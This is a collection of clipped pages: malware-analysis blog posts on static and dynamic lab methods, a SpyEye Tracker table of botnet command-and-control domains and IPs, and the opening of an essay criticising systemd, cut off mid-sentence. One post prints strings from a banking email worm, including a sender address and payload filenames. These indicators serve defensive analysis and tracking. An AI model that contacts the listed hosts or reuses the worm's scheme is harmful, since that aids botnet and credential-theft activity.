any sites to be scanned for known virus signatures. Mainly because I've seen
by our search on Virus Total that we can be pretty sure it is known.  
  
The next step we will do is to open the file with BinText. Choose the Browse
button and choose our sample. After that we hit the go button. This will show
us some of the strings available in the binary file. In some cases you may not
see what you like here due to packing or encryption. We will go into that more
later. In the case of this sample we are able to see a good bit of detail as
seen below:  
  

<img src='img/Temp2_7210.png' width='320' height='272' />

  
  
  
  
Below are some of the things I saw that should be added to our notes as items
of interest:  
  
Form1. This tells us that potentially there is a visual form  
Timer1. This lets us know there is a timer or countdown of some sort.  
Winsock.  
WinsockAPI. These two tell us there is some sort of network component.  
modSMTP. This would let us know there could be an email component which starts
to corroborate what we have found from our search on Virus Total earlier.  
mod\_Variaveis. A quick Google of this word looks like it translates to
variables from Portuguese. We now have an idea of where it may have come from.
Maybe from Brazil or somewhere like that.  
getpeername. This function will retrieve a name of a socket that was created.
This starts to show there are more facts to prove network connectivity.  
  
  
  
I could go through each, but I'm going to shorten this to only pull out the
remainder of very interesting points that I see.  
  
  
  
C:\Arquivos de programas\Messenger\msmsgs.exe\3 \(Microsoft
Messenger...interesting\)  
DownloadFile. Looks like we are getting more malware.  
  
Crypt. Looks like some hashing or encryption going on.  
GetWinPlatform. Looking for a specific Windows version maybe?  
strEmailTO  
strEmailTO1  
strEmailTO2  
strEmailTO3. Now we see some email capabilities which shows us why VirusTotal
called this an email worm possibly  
D:\Programas Daniel\infect\infect Interlig - rato\Project1.vbp. Humm is this
guy called Daniel? gatta love when people don't clean up :\)  
GOD DAMNIT, the internet doesn't work... Little bit of error checking?  
catia@oticasopcao.com. Source Email maybe?  
showbol2010.log. Log for us to see how things went maybe?  
http://www.youtube.com/. Maybe a link used in the email?  
www.youtube.com. A link to more malware sent in the email possibly.  
InternetBanking.exe. The next executable file name to download if you click
the link or when the executable file executes. InternetBanking is interesting.
Maybe we have something trying to steal banking credentials?  
  
  
  
There are plenty of other links in there as well as you will see if you go
through this sample yourself.  
  
  
atualizahook.cfg. A config file on how to set things up?  
Subject:  
From: more email functions  
EHLO  
AUTH LOGIN  
MAIL FROM:<  
RCPT TO:<. Email server communications.  
Norton AntiVirus. Possibly to look like it's been scanned in transit?  
lhe enviou o link do video no youtube. sent the video link on youtube in
Portuguese.  
This program cannot be run in DOS mode. We know this shows up at the beginning
of PE files, but this is in the middle. Maybe this is our worm sending a copy
of itself. Going through the rest of that section takes use through what we
just went through previously. We may assume this is the case until we find out
more.  
  
  
Everything we have seen, and believe me there is a lot more in there, shows us
that our results at Virus Total were pretty close so far. We could finish by
looking at the PE format with PEiD or attempt to look for packing or
encryption, but I think you can see we really don't need to at this time.  
  
  
I will end this post here. As you can see we didn't need to know any
programming to find out what this thing does so far. For the APIs we may not
have known, a quick search on Google or MSDN gave use the capability of those
pieces of code. Not all code is this simple and to be honest I'm happy I
choose one so simple randomly as it made our day a bit easier.  
  
In the next post I will take you into the debugger and disassembler. We will
start by showing IDA Pro free version and OllyDBG. These are 2 of the more
popular tools in this field. The fourth part of our introduction to static
analysis will show some examples with a new sample much like we showed more
details on the first post's tools.  
  
  
I hoped you enjoyed the post. Look for the next post in a week or so. In the
mean time, if you have any questions or comments, feel free to leave them on
the blog. We will respond to all comments and questions that are reasonable.
We are here to share the knowledge, so don't hesitate if you desire to
understand something in more detail\!  
  
If you see a possible mistake, please let us know as well. We are not perfect
and to be quite frank, I'm not a programmer and I don't play one on the
Internet. Therefore, I may make assumptions or come to conclusions that might
be debatable by others who may know more than I.  
  
  
  
  
  
  
  
  
  
  
  
---  
Posted by Curt Shaffer at 7:07 PM 2 comments <img src='img/Temp2_7233.png'
width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

Labels: Static Analysis

### Dynamic Analysis part 2

Welcome to the second installment of the dynamic analysis section of out blog.
In the last post, I discussed why you should use a VM solution and made some
recommendations on choosing one. In this post, I will go over some information
on building out a the VM's themselves, including recommended operating systems
and tools to install.  
  
When considering what virtual machines to install, you must consider what
tools you will be running and what operating system the malware is targeted
at. For this reason, you will most likely end up with various Microsoft
Windows installations along with a few Unix variants, most likely Linux. I
will not cover installations themselves as there are plenty of instructions
out there for installing operating systems. I will also cover a few classes of
tools and make some recommendations for each category.  
  
  
For your Windows VM's, I recommend having both a current Windows 7 install and
an older Windows XP installation. The reason for 7 is that malware is starting
to directly target Windows 7, as it is starting to gain critical mass in
enterprise and general user environments. For most situations, Windows XP will
be sufficient though. Windows will be used both as an analysis platform and
the place where you run most of your malware samples.  
  
  
In regards to Linux, you will primarily be using the VM's for analysis or to
provide target services for your malware samples. At this point you might be
asking, what is a service for malware? A service in this context is just like
any other IT service, such as an IRC or FTP service. Many types of malware use
legitimate protocols such as FTP or IRC as transports for communication. While
performing dynamic analysis, you want to offer up the services the malware is
looking for, as a way to go deeper into your analysis. Pretty much any Linux
will work well for these duties, as a result I recommend choosing the
distribution that you are most familiar with.  
  
  
Next I will cover recommended tools. The main classes of tools for dynamic
analysis are process monitors, file monitors, and network monitors.  
  
  
Process Monitors are used to monitor running processes on the system where you
are running the malware. These tools tell you such things as memory in use,
files open, CPU use, drivers used, and DLL's in use. Two of my favorite
process monitor tools are System Internals Process Monitor and Process Hacker.
Both tools provide very similar information, however I personally think
Process Hacker does a better job than Process Monitor of showing you sub-
processes spawned by execution of a file.  
  
  
File Monitors are tools used to detect changes in files on disk. The primary
use of file monitors as it relates to malware analysis is to detect changes to
operating system files such as the windows registry or configuration files.
The tools I generally recommend for this this task are Tripwire/AIDE and
Capture Bat/Regshot. Tripwire and AIDE are general File Integrity scanners,
they work by taking an MD5 has of all the files on a system, when a file
changes they detect the change by comparing the new MD5 to the original.
Capture Bat and Regshot work by taking an initial snap shot of the contents of
specific files on the disk and comparing them to a later snapshot. Capture Bat
and Regshot are both manual tools that require the user to take the first and
second snapshots, and then require you to tell the tools to compare the
snapshots.  
  
  
The last class of tools I will cover are network monitors. Network monitors
are tools that either capture packets on the wire or monitor TCP/IP sockets on
the lcoal system. My favorite tools in this are are Wireshark and TCP View.
Wireshark is a packet capture tool that runs in promiscuous mode on a network
interface and captures all packets going across the wire. TCP View on the
other hand sits on a local system and lists the TCP/IP ports that are open and
the processes that have them open.  
  
  
This post wraps up our basic analysis station configuration. In the next
couple of weeks, I will show how these tools can be used to begin to perform
dynamic analysis on sample malware. Stay tuned\!

Posted by Jamy Klein at 6:58 PM 0 comments <img src='img/Temp2_7233.png'
width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

Labels: Dynamic Analysis

## Sunday, October 17, 2010

### Intro to Dynamic Analysis Part 1

Curt has covered static analysis quite well and briefly mentioned dynamic
analysis. At this point you are probably wondering what is dynamic analysis?
Simply put, it is the act of running the code and observing what happens.  
  
Infecting a system with malware from the wild can be very dangerous. A malware
infection on your system can cause everything from destruction of personal
data to bot infection, to performance degradation, and all the way to complete
data loss. At this point you might be saying, “I already know it is dangerous,
but I need to analyze malware.” Many of us in the information security world
have that same need whether it is for job duties or personal research to learn
about threats in the wild, my goal is to give you some insight into building a
malware analysis lab environment to start your dynamic analysis.  
  
The first technology needed to start your own malware analysis, and I feel the
most important, is a virtual machine \(VM\) environment. A VM environment
provides several advantages over a physical environment including,
configurable resources, advanced disaster recovery, and isolation.  
  
Virtual environments are based on the concept of resource sharing and
reutilization. This means that once a virtual environment is installed onto a
physical system, you will have the ability to configure as many VM’s as you
want by slicing up the physical systems resources. In addition, the VM
environment kernel, also known as the hypervisor, allows all the VM’s to share
memory and processor time. In practical use, this allows a research to for
example have multiple Windows installations on a single system with only 2 GB
of RAM, where as in a physical environment the same 2 GB system would only
allow one installation.  
  
Virtual environments provide several advantages over physical environments
when it comes to disaster recovery. The most important advantage for malware
analysis is the ability to snap shot. Snapshotting is the ability to capture
the system configuration a specific point in time and to gracefully rollback
to a snap shot. The advantage here is that a malware researcher can run
malware in a live environment to determine what the malware does, then once
done roll the system back to a clean state. Before virtual environments
researchers had to rebuild their lab machines using install media to go back
to a clean environment.  
  
The last advantage that VM environments provide us is isolation. The resource
sharing and control of virtual environments also gives us the capability to
easily isolate machines from one another. With this capability we can easily
take a machine we want to run malware on an isolate it from other systems. In
the case of a bot net, we could add a system to the virtual environment to
simulate the command and control function, while only allowing the command and
control and our original infected host to communicate.  
  
There are several good VM tools available both commercially and free. Which
one you should use is completely up to you. My only recommendation is to look
at either VMWare’s tools or Sun’s Virtual Box, both tools support the use of
.vmdk files which means that you can use many of the pre-built virtual
appliances available on the net.  
  
look for part two, in which I will go over setting up your malware analysis
VM.

Posted by Jamy Klein at 7:25 PM 3 comments <img src='img/Temp2_7233.png'
width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

Labels: Dynamic Analysis

### Intro to Static Analysis Part 1

This is Part 1 of our Intro to Static Analysis.  
  
There are a number of schools of thought on how to approach reversing malware.
Some people jump right into dynamic analysis in effort to quickly learn what
the specimen is doing so they can put rules in place on their network to stop
it's functionality or see who else might be infected. Some of these people,
will then perform static analysis to see if they may have missed something.
Others leave it at the results found from their dynamic analysis.  
  
Other people do static analysis first to fully understand the expected
behavior so they know if something is happening with the sample when running
it in a dynamic lab other than what is expected. They will then run dynamic
analysis on it to see if their findings are correct.  
  
Some people just submit the sample to places like Virus Total, Anubis, or
CWSanbox, just to name a few . They then take action based on the results they
get back from these tools. Finally there are some that just submit it to their
Anti Virus vendor and wait for a signature to be released.  
  
There is nothing wrong with any of these methods. Most are done because of
either lack of time, skills or understanding of how to reverse malware. Some
may think, why reinvent the wheel? This is all OK.  
  
Here on this blog, we enjoy getting our hands dirty with looking at malware.
We are not satisfied by just letting someone else do the work. There is
nothing like the feeling you get when you have reversed a sample and know what
it does and can stop it's functionality based on what you yourself have found.
It is a great feeling we hope everyone reading will experience.  
  
So what do I do? Speaking for myself, I tend to follow the method to do some
static analysis first. I will then put the malware into a lab and see what it
might do differently than what I have found. The personal reason that I do
this is because sometimes you will find evidence that a sample is capable of
realizing that it is being run in a virtual environment. I have seen this in
the wild. I have seen samples that are capable of this which then either don't
run at all, or run with fake results.  
  
One sample I found that did this actually went through motions of downloading
a new sample, executing it which would only lead to removing the old sample,
putting the new one in place then downloading another sample that did the same
thing. I only figured this out after I started to realize the samples it was
grabbing started to cycle through the same names. This wasted a good bit of
time while I chased that ghost. Had I looked at it statically first, then I
possibly could have saved myself the time.  
  
I'm not going to tell anyone which method to follow. Choose the path that you
are most comfortable with and stick with it. I can only warn you of the things
I have found in my time doing this.  
  
This first post of mine is to get you ready to do static analysis. Jamy will
be posting an introduction to dynamic analysis which will get into lab setup.
I will refer you to his post to start there. If your doing dynamic or static
analysis, it is a very good idea to start with creating a lab of non
production systems to run your samples in. This could be virtual or physical
or both.  
  
Overall process of static analysis:  
  
\*\*\*\*\*WARNING\*\*\*\*\*\*\*  
  
I want to mention that I will be linking to tools on this blog. I cannot vouch
for the validity of the copy you get. Some of these tools may include malware
themselves. Try to get a copy of the tools from the original source. You will
probably also want to scan the files and watch what your lab systems do after
installing them. We will not be held responsible if you download a tool we
mention that is infected with a virus. Be cautious and thorough in your
investigation of each of these tools\!  
  
  
The first step in your process should be to start a log or collection of the
details you are about to find. Some people do this is a text file, others may
just jot things down in a notebook. I personally like to use a mind mapping
software such as FreeMind. Lenny Zeltser, a SANS instructor and an overall
excellent resource for reversing knowledge, has freely released a template for
FreeMind specifically for analyzing malicious code. You can download it here.  
  
  
If you are looking for very good training in this area, Lenny also offers a
few courses with SANS that can be taken online or at a conference. He has
specifically created, along with others, the Forensics 610: Reverse
Engineering Malware, and the Security 569: Combating Malware in the Enterprise
courses. I highly encourage you to take these courses if you are interested in
malware analysis.  
  
  
It doesn't matter which method you choose to write your notes down, but it is
very important that you do. Documenting this will help you to keep on track
and assist you in writing reports of your analysis if you do this
professionally. Additionally if you choose a method that allows you to compile
all of your findings centrally, you will be able to see trends or recognize
similar behaviors of samples that could help in reversing future samples that
exhibit similar characteristics.  
  
This blog does not go into how to identify malicious code on your systems. We
may do a post on that at a later date. In the mean time, there are plenty of
good resources on the Internet to help you in this area.  
  
With that aside, take note of the system you found the malware on. Take notice
of the operating system, patch level, applications installed etc. Write down
where you found the code \(i.e. C:\windows\system32\). Add any information
that may be relevant on how the code was found \(i.e. the system administrator
noticed the system was running slowly, or found the system blue screened\).  
  
Next take a hash of the file or files found. A hash, in this case, is a
mathematical computation on the bits of a specimen. This will help with
identification of other copies of the malware even if the name is changed. You
can think of this much like doctors and scientists look for specific
characteristics of a virus in the human body. That way, other doctors or
scientists can identify the same virus in another person.  
  
It is generally accepted to perform a MD5 hash on the file. Some people will
also do a SHA1 or other computations as well. There is also a newer method
called fuzzy hashing or piecewise hashing that can be done. This actually
hashes portions of a file, rather than the whole thing. This method allows for
identification of portions of the code which may be useful in catching malware
that has changed just a little in order to avoid detection by a person or Anti
Virus application for example.  
  
There are many tools out there to do this. WinMD5 is an easy to use tool which
is freely available. SSDEEP can be used for fuzzy hashing. What tool you use
is up to you. The mathematical computations such as MD5 or SHA are standard
equations. All of the applications that perform these actions then should
produce the same result. Some operating systems such as \*nix varieties have
these tools built right in on the command line such as md5 or shasum on the
Macintosh I'm working from right now.  
  
The next step that is good to take is to compare the hash values that you
found with sites on the Internet to see if there are any matches or similar
hashes found by others. This can go a long way in saving you time and effort
if it is a known specimen. You can copy and paste your hash value into sites
such as Virus Total, or Threat Expert to name a few. You can also run this
through an internal database you might have to see if there are any hits. The
purpose of this is to save yourself time and energy if this sample has already
been analyzed and identified by someone else.  
  
Next you will want to classify your specimen. This classification will be the
file type, format, target architecture, language used, and compiler used.
These characteristics will let you know what systems may be vulnerable and
which may not. For example, if you find a PE file format, you can assume that
\*nix systems will most likely not be vulnerable to the sample. This is
because the PE format is used on Microsoft Windows systems.  
  
TrIDNet with the latest definition files is a good place to start this
classification. Minidumper is another free tool which works well. One thing
you will notice is that I generally run files though similar tools and compare
the output. Sometimes one tool works better than other and will give you more
information which may be helpful. I have also seen malware samples that are
coded in such a way to recognize tools and change their behavior if they
realize they are being analyzed.  
  
GT2 is another good tool to run the sample through in this stage as well. This
application attempts to identify the compiler, DLLs and other requirements for
the code being analyzed.  
  
You will want to scan the file next in attempt to see if it hits any known
signatures. You can do this with multiple Anti Virus applications if you have
multiple on your lab systems. You can also take this time to submit it to
online sources which run the sample through a number of anti virus
applications in effort to see if it's known. Depending on your organization,
you may not want to submit the samples to these sources as they share their
information freely with the public and anti virus vendors. If this sample is
targeted in any way, this can blow your cover that you have found and are
analyzing the sample.  
  
If that is not a concern for you, some good examples of these services are
Virus Total, Virscan, or Jotti. Again, this is just to name a few, there are
many other good choices out there. Pick the ones you like and are comfortable
with.  
  
Another step to take is then to start to dig a little deeper. You will want to
start looking for executable type, dll’s called, exports, imports, strings
etc. This information will start to reveal characteristics of the sample which
may lead you to get a better understanding of what it does. For example, if
you run strings on the file you may reveal IP addresses used for call back and
download components, you may find information that lets you know the file is
packed or encrypted in some way, you may find other files that are needed or
used in the infection. etc.  
  
Some of the tools that you can use to see this information are BinText,
dumpbinGUI, or DependencyWalker to name a few. Again, there are many more out
there. These are just some ideas of tools that I like to use. For example if
you are running on a \*nix server, the command strings will work on most
distributions right out of the box. Just open a terminal and run strings
filename \(where filename is the name of the file you are looking at\) . You
can also use the file command. Type file filename \(again where filename is
the name of the file you are looking at\) to reveal the file type you are
working with.  
  
The next stage is to look for packing or encryption. This is often where the
process becomes difficult. Some packers are easy to defeat. Others are not.
Some encryption routines are easily seen and reversed. Others are custom and
difficult. This is the time when a lot of analysts will enter into dynamic
analysis. The reason for this is that they may not be able to unpack or
decrypt the file by hand. In order for the file to run on a system, it needs
to be unpacked or decrypted in memory to function.  
  
Some tools to use to look for this type of information are PEiD, PE Detective,
or Mandiant's Red Curtain. These tools are capable of detecting known packers,
encryption or behaviors that are common to malicious files to make them
difficult to analyze. You may have found this information out already from the
output of previous tools.  
  
That's all we have for Part 1 of the introduction to static analysis. Stay
tuned for Part 2 comming soon\!  
  

Posted by Curt Shaffer at 6:27 PM 2 comments <img src='img/Temp2_7233.png'
width='18' height='18' />

Email This BlogThis\! Share to Twitter Share to Facebook Share to Google Buzz

Labels: Static Analysis

  *[2:28 PM]: 2010-12-05T14:28:00-05:00
  *[7:32 AM]: 2010-11-29T07:32:00-05:00
  *[3:24 PM]: 2010-11-14T15:24:00-05:00
  *[7:07 PM]: 2010-10-31T19:07:00-04:00
  *[6:58 PM]: 2010-10-31T18:58:00-04:00
  *[7:25 PM]: 2010-10-17T19:25:00-04:00
  *[6:27 PM]: 2010-10-17T18:27:00-04:00

# SpyEye Tracker :: Monitor

**Created:**| _11/10/2010 8:08:20 AM_  
---|---  
**Updated:**| _11/10/2010 8:08:37 AM_  
**Author:**| __  
**Tags:**| _botnets Malware-analysis network-security_  
  

# SpyEye Tracker :: Monitor

You have reached the main page of SpyEye Tracker. This page is the
_monitoring page_ which lists all SpyEye Command&Control Server \(C&C\)
tracked by SpyEye Tracker. This site has a similiar setup like the ZeuS
Tracker: With a click on one of the C&Cs listed below you can get detailed
information about the C&C including it's status, Uptime, AS information, the
used Nameservers, Sponsoring registrar as well as all SpyEye Binaries, Configs
or dropzones hosted on the C&C.

Each SpyEye C&C is tagged with a  _level_ and each level has a different
meaning:

Level | Description  
---|---  
Level 1 | Bulletproof hosted  
Level 2 | Hacked webserver  
Level 3 | Free hosting service  
Level 4 | Unknown  
Level 5 | Hosted on a FastFlux botnet  
You can also search through SpyEye Tracker for a Domain, IP address, part of a
URL or MD5 hash:

<img src='img/Temp2_7689.png' alt='-' />

Browse: SpyEye BinaryURLs | SpyEye ConfigURLs | SpyEye Dropzones  
Set a filter for the list below: online SpyEye C&Cs | offline SpyEye C&Cs | SpyEye C&Cs with files online | order by lastupdated | all  
Filter C&C server tagged with level: Level 1 \(Bulletproof\) | Level 2 \(Hijacked sites\) | Level3 \(Free webhosting\) | Level 4 \(Unknown\) | Level 5 \(FastFlux hosted\)
<img src='img/Temp2_7682.png' alt='subscribe' /> Subscribe SpyEye C&C RSS Feed

* * *
Dateadded | Host | IP address | Level | Status | Files Online | SBL | Country | AS number | Uptime  
---|---|---|---|---|---|---|---|---|---  
2010-11-09 | waipdns.ru | 77.78.240.214 | 1 | online | 1 | SBL97790 | <img src='img/Temp2_7685.png' alt='-' /> | AS42560 | 05:09:10  
2010-11-09 | secondchanceyou.net | 178.239.48.54 | 4 | online | 2 | Not listed | <img src='img/Temp2_7688.png' alt='-' /> | AS47869 | 08:59:53  
2010-11-09 | fieldsoflove.cc | 178.239.48.53 | 4 | online | 2 | Not listed | <img src='img/Temp2_7688.png' alt='-' /> | AS47869 | 08:59:58  
2010-11-09 | nothingleftanymr.net | 178.239.48.50 | 4 | online | 2 | Not listed | <img src='img/Temp2_7688.png' alt='-' /> | AS47869 | 09:00:38  
2010-11-09 | totalhidden.cc | 178.239.48.51 | 4 | online | 2 | Not listed | <img src='img/Temp2_7688.png' alt='-' /> | AS47869 | 09:00:51  
2010-11-09 | fightforce.cc | 178.239.48.51 | 4 | online | 2 | Not listed | <img src='img/Temp2_7688.png' alt='-' /> | AS47869 | 09:01:10  
2010-11-09 | 178.239.48.50 | 178.239.48.50 | 4 | unknown | 2 | Not listed | <img src='img/Temp2_7688.png' alt='-' /> | AS47869 |  -  
2010-11-09 | 193.106.173.183 | 193.106.173.183 | 4 | unknown | 3 | Not listed | <img src='img/Temp2_7691.png' alt='-' /> | AS50465 |  -  
2010-11-09 | true-deal.org | 188.95.159.6 | 4 | online | 2 | SBL96016 | <img src='img/Temp2_7690.png' alt='-' /> | AS51306 | 13:38:10  
2010-11-09 | 78.159.96.14 | 78.159.96.14 | 4 | unknown | 4 | Not listed | <img src='img/Temp2_7693.png' alt='-' /> | AS28753 |  -  
2010-11-09 | cp096792.cpanel.tech-logol.ru | 188.93.212.90 | 2 | online | 0 | Not listed | <img src='img/Temp2_7691.png' alt='-' /> | AS49352 | 13:44:29  
2010-11-09 | on.rucl.ru | 88.198.40.111 | 4 | online | 2 | Not listed | <img src='img/Temp2_7693.png' alt='-' /> | AS24940 | 13:46:19  
2010-11-09 | web3lancer.com | 69.163.237.138 | 4 | online | 4 | Not listed | <img src='img/Temp2_7684.png' alt='-' /> | AS26347 | 13:48:03  
2010-11-08 | airiston.net | 91.217.249.140 | 4 | online | 3 | SBL97861 | <img src='img/Temp2_7691.png' alt='-' /> | AS51554 | 24:46:17  
2010-11-08 | analservice.eu | 64.191.20.70 | 4 | online | 1 | SBL98315 | <img src='img/Temp2_7684.png' alt='-' /> | AS21788 | 32:22:57  
2010-11-08 | www.privathosting.eu | 64.191.20.70 | 4 | online | 1 | SBL98315 | <img src='img/Temp2_7684.png' alt='-' /> | AS21788 | 32:23:21  
2010-11-08 | integraliuss.net | 91.204.48.98 | 4 | online | 2 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS24965 | 32:54:23  
2010-11-08 | wweesss444.com | 91.204.48.98 | 4 | online | 2 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS24965 | 32:54:56  
2010-11-08 | annormous.ru | 195.226.220.110 | 4 | online | 2 | SBL97864 | <img src='img/Temp2_7690.png' alt='-' /> | AS51354 | 33:04:17  
2010-11-08 | voidrage.com | 213.155.29.24 | 4 | online | 0 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS41665 | 36:10:33  
2010-11-08 | core.voidrage.com | 213.155.29.24 | 4 | online | 0 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS41665 | 36:11:14  
2010-11-08 | core.arrest.su | 213.155.29.24 | 4 | online | 0 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS41665 | 36:11:40  
2010-11-08 | ipchecker911.com | 89.149.253.239 | 4 | online | 0 | SBL98329 | <img src='img/Temp2_7693.png' alt='-' /> | AS28753 | 37:28:44  
2010-11-08 | ipchecker001.com | 87.255.51.229 | 4 | online | 1 | Not listed | <img src='img/Temp2_7688.png' alt='-' /> | AS38930 | 37:29:21  
2010-11-08 | glazsystem.net | 122.224.4.135 | 1 | online | 0 | Not listed | <img src='img/Temp2_7692.png' alt='-' /> | AS4134 | 37:30:30  
2010-11-08 | 208.53.129.237 | 208.53.129.237 | 4 | unknown | 0 | SBL98331 | <img src='img/Temp2_7684.png' alt='-' /> | AS30058 |  -  
2010-11-08 | 193.105.240.93 | 193.105.240.93 | 4 | unknown | 0 | Not listed | <img src='img/Temp2_7683.png' alt='-' /> | AS12578 |  -  
2010-11-08 | 89.209.91.49 | 89.209.91.49 | 4 | unknown | 2 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS8359 |  -  
2010-11-08 | hfhfhfhfee3443.com | 78.159.112.104 | 4 | online | 2 | Not listed | <img src='img/Temp2_7693.png' alt='-' /> | AS28753 | 37:35:24  
2010-11-08 | hfhfhfhfee.com | 78.159.112.104 | 4 | online | 3 | Not listed | <img src='img/Temp2_7693.png' alt='-' /> | AS28753 | 37:36:19  
2010-11-08 | atlas56.com | 88.208.205.72 | 4 | online | 0 | SBL98330 | <img src='img/Temp2_7694.png' alt='-' /> | AS15418 | 37:37:02  
2010-11-08 | 204.12.237.196 | 204.12.237.196 | 4 | unknown | 2 | Not listed | <img src='img/Temp2_7684.png' alt='-' /> | AS32097 |  -  
2010-11-08 | 178.63.15.13 | 178.63.15.13 | 4 | unknown | 3 | Not listed | <img src='img/Temp2_7693.png' alt='-' /> | AS24940 |  -  
2010-11-07 | al25world.net |  | 1 | offline | 0 | Not listed | - |  | 15:42:34  
2010-11-07 | stratus35.com |  | 1 | offline | 0 | Not listed | - |  | 15:43:18  
2010-11-04 | dust.wxhelz.net | 67.23.249.73 | 4 | online | 0 | Not listed | <img src='img/Temp2_7684.png' alt='-' /> | AS33182 | 118:49:08  
2010-11-04 | dvdhub.net | 67.23.238.112 | 4 | online | 1 | Not listed | <img src='img/Temp2_7684.png' alt='-' /> | AS33182 | 118:51:32  
2010-11-04 | keppeo.com |  | 4 | offline | 0 | Not listed | - |  | 93:56:58  
2010-11-03 | sec7serv1mmn.net |  | 4 | offline | 0 | Not listed | - |  | 123:16:41  
2010-11-02 | hahsdhsl.com |  | 1 | offline | 0 | Not listed | - |  | 134:19:17  
2010-11-02 | vwbombatry.com |  | 4 | offline | 0 | Not listed | - |  | 153:40:41  
2010-11-02 | 88.198.36.61 | 88.198.36.61 | 4 | unknown | 0 | Not listed | <img src='img/Temp2_7693.png' alt='-' /> | AS24940 |  -  
2010-10-31 | galichina.zaporizhzhe.ua | 193.169.188.3 | 4 | online | 2 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS21219 | 224:16:54  
2010-10-28 | coolmonstersfromthedowntown.ru | 195.226.220.110 | 4 | online | 0 | SBL97864 | <img src='img/Temp2_7690.png' alt='-' /> | AS51354 | 287:59:36  
2010-10-27 | ateapple.com.ua | 193.200.173.247 | 4 | online | 2 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS42331 | 313:32:11  
2010-10-27 | 193.169.188.3 | 193.169.188.3 | 4 | unknown | 2 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS21219 |  -  
2010-10-25 | navolak.com |  | 1 | offline | 0 | Not listed | - |  | 337:44:53  
2010-10-25 | klieymoment.com | 91.213.174.30 | 1 | online | 0 | SBL83028 | <img src='img/Temp2_7691.png' alt='-' /> | AS29106 | 370:36:43  
2010-10-25 | planita.org |  | 1 | offline | 0 | Not listed | - |  | 343:22:52  
2010-10-25 | pirdyn.com | 91.217.249.140 | 1 | online | 1 | SBL97861 | <img src='img/Temp2_7691.png' alt='-' /> | AS51554 | 370:53:52  
2010-10-25 | acidsource.com |  | 4 | offline | 0 | Not listed | - |  | 00:00:00  
2010-10-25 | 204.12.243.187 | 204.12.243.187 | 4 | unknown | 2 | Not listed | <img src='img/Temp2_7684.png' alt='-' /> | AS32097 |  -  
2010-10-23 | humirajustice.com |  | 4 | offline | 0 | Not listed | - |  | 222:44:39  
2010-10-23 | jabber911.com |  | 4 | offline | 0 | Not listed | - |  | 185:54:16  
2010-10-23 | 64.191.20.70 | 64.191.20.70 | 4 | unknown | 2 | SBL98315 | <img src='img/Temp2_7684.png' alt='-' /> | AS21788 |  -  
2010-10-22 | vuppgoldx.com | 91.204.48.100 | 4 | online | 3 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS24965 | 431:30:33  
2010-10-22 | xableupperxx3.com |  | 4 | offline | 0 | Not listed | - |  | 245:17:06  
2010-10-22 | lightanalytics.com |  | 4 | offline | 0 | Not listed | - |  | 410:58:16  
2010-10-21 | rubbikcube.net.in | 91.211.117.38 | 4 | online | 1 | Not listed | <img src='img/Temp2_7690.png' alt='-' /> | AS48587 | 466:02:07  
2010-10-21 | simrako.com |  | 4 | offline | 0 | Not listed | - |  | 141:45:11  
2010-10-21 | haspo6lita.com |  | 1 | offline | 0 | Not listed | - |  | 443:31:19  
2010-10-21 | 200.56.243.137 | 200.56.243.137 | 4 | unknown | 0 | Not listed | <img src='img/Temp2_7687.png' alt='-' /> | AS13591 |  -  
2010-10-21 | secure-checking.com |  | 4 | offline | 0 | Not listed | - |  | 49:24:34  
2010-10-21 | 193.104.146.49 | 193.104.146.49 | 1 | unknown | 2 | SBL91085 | <img src='img/Temp2_7686.png' alt='-' /> | AS50134 |  -  
2010-10-21 | solvota.com |  | 1 | offline | 0 | Not listed | - |  | 444:12:44  
2010-10-21 | pazlokat.com |  | 1 | offline | 0 | Not listed | - |  | 444:13:05  
2010-10-21 | appppa1.ru |  | 1 | offline | 0 | Not listed | - |  | 190:50:18  
2010-10-21 | black-hosting.ru | 64.191.20.70 | 4 | online | 4 | SBL98315 | <img src='img/Temp2_7684.png' alt='-' /> | AS21788 | 468:13:40  
\# of Hosts: **68**

# EWONTFIX - Broken by design: systemd

**Created:**| _2/9/2014 9:41:28 PM_  
---|---  
**Updated:**| _2/9/2014 9:41:28 PM_  
**Author:**| __  
**Tags:**| _Linux init_  
  

# **B** roken by design: systemd****

09 Feb 2014 19:56:09 GMT

Recently the topic of systemd has come up quite a bit in various communities
in which I'm involved, including the musl  IRC channel and on the Busybox
mailing list **.**

While the attitude towards systemd in these communities is largely negative,
much of what I've seen has been either dismissable by folks in different
circles as mere conservatism, or tempered by an idea that despite its flaws,
"the design is sound"**.** This latter view comes with the notion that
systemd's flaws are fixable without scrapping it or otherwise incurring major
costs, and therefore not a major obstacle to adopting systemd**.**

My view is that this idea is wrong: **systemd is broken by design** , and
despite offering highly enticing improvements over legacy init systems, it
also brings **major regressions** in terms of many of the areas Linux is
expected to excel: security, stability, and not having to reboot to upgrade
your system**.**

#### The first big problem: PID 1****

On unix systems, PID 1 is special**.** Orphaned processes \(including a
special case: daemons which orphan themselves\) get reparented to PID 1**.**
There are also some special signal semantics with respect to PID 1, and
perhaps most importantly, if PID 1 crashes or exits, the whole system goes
down \(kernel panic\)**.**

Among the reasons systemd wants/needs to run as PID 1 is getting parenthood of
badly-behaved daemons that orphan themselves, preventing their immediate
parent from knowing their PID to signal or wait on them**.**

Unfortunately, it also gets the other properties, including bringing down the
whole system when it crashes**.** This matters because systemd is complex**.**
A lot more complex than traditional init systems. When I say complex, I don't
mean in a lines-of-code sense**.** I mean in terms of the possible inputs and
code paths that may be activated at runtime**.** While legacy init systems
basically deal with no inputs except `SIGCHLD` from orphaned processes exiting
and manual runlevel changes performed by the administrator, systemd deals with
all sorts of inputs, including device insertion and removal, changes to mount
points and watched points in the filesystem, and even a public DBus-based
API**.** These in turn entail resource allocation, file parsing, message
parsing, string handling, and so on**.** This brings us to:

#### The second big problem: Attack Surface****

On a hardened system without systemd, you have at most one root-privileged
process with any exposed surface: sshd**.** Everything else is either running
